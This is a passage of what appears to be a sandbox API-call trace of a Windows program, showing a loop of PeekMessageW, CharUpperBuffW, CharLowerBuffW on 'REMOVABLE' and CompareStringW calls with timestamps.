(in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.833] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.833] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.833] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.833] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.833] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.833] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.833] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.833] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.834] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.834] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.834] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.834] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.834] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.834] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.834] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.834] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.834] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.834] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.834] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.834] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.834] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.834] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.834] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.835] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.835] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.835] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.835] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.835] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.835] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.835] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.873] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.873] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.873] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.873] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.873] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.873] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.873] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.874] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.874] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.874] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.874] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.874] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.874] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.874] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.874] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.874] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.875] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.875] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.875] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.875] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.875] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.875] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.875] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.875] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.875] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.876] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.876] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.876] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.876] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.876] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.876] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.877] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.877] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.877] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.877] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.877] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.877] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.877] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.877] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.877] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.878] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.878] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.878] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.878] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.878] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.878] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.878] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.878] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.878] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.879] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.948] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.948] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.949] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.949] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.949] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.949] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.949] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.949] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.950] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.950] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.950] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.950] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.950] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.950] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.951] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.951] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.951] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.951] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.951] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.951] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.951] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.951] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.951] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.952] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.952] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.952] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.952] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.952] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.952] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.952] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.952] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.952] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.953] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.953] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.953] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.953] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.953] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.953] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.953] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.953] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.953] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.954] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.954] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.954] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.082] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.082] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.083] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.083] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.083] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.083] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.083] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.083] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.083] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.083] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.084] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.084] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.084] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.084] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.084] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.084] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.084] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.084] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.084] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.085] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.085] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.085] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.085] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.085] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.085] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.085] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.085] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.085] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.085] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.086] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.086] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.086] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.086] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.086] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.086] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.086] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.086] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.086] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.087] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.087] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.087] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.087] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.087] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.087] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.087] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.088] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.088] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.088] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.117] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.118] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.118] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.118] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.118] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 